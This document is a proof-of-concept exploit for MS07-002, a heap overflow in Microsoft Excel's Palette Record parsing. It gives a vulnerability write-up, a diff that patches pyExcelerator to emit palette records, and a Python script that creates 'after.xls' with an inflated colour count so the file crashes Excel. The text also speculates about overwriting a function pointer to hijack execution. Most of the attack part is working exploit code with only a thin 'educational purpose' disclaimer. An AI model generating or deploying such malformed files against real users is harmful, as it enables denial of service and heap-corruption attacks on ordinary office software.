Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)

MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

######
Author
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LifeAsaGeek at gmail.com
... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs

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Vulnerablity Description
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Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506
which is generated by DarunGrim
( and I want to say I'm not a person who made this analyzer ==; )

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Attack Vector
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Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

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Result
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DOS

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Notes
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You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
> def __init__(self):
> BiffRecord.__init__(self)
> self._rec_data = pack('<H', 0x0038) # number of colours
> self._rec_data = 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
< result = ''
< return result
---
> return BIFFRecords.PaletteRecord().get()

!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
- 2007.01.25
"""

import sys, os
from struct import *
from pyExcelerator import *

def CreateXLS():
w = Workbook()
ws = w.add_sheet('MS07-002 POC')
w.save( "before.xls")


def ModifyXLS():
try:
f = open( "before.xls", "rb")
except:
print "File Open Error ! "
sys.exit(0)

str = f.read()
f.close()

#write to malformed xls file
f = open( "after.xls", "wb")

PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038)
NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF)

palette_idx = str.find( PaletteRecord)

if palette_idx == -1:
print "Cannot find Palette Record"
sys.exit(0)

str = str.replace( PaletteRecord, NewPaletteRecord)
f.write( str)
f.close()

if __name__ == "__main__":
print "==========================================================="
print "MS07-002 Malformed Palette Record vulnerability DOS POC "
print "Create POC Excel File after.xls"
print "by LifeAsaGeek at gmail.com"
print "==========================================================="
CreateXLS()
ModifyXLS()

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